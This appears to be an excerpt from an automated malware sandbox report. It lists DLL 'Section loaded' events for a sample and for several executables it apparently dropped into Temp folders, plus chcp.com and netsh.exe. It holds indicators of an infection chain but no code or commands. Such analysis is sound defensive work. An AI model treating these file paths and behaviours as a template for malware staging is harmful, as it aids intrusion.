Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: dlnashext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: wpdshext.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\chcp.com Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Section loaded: ondemandconnroutehelper.dll
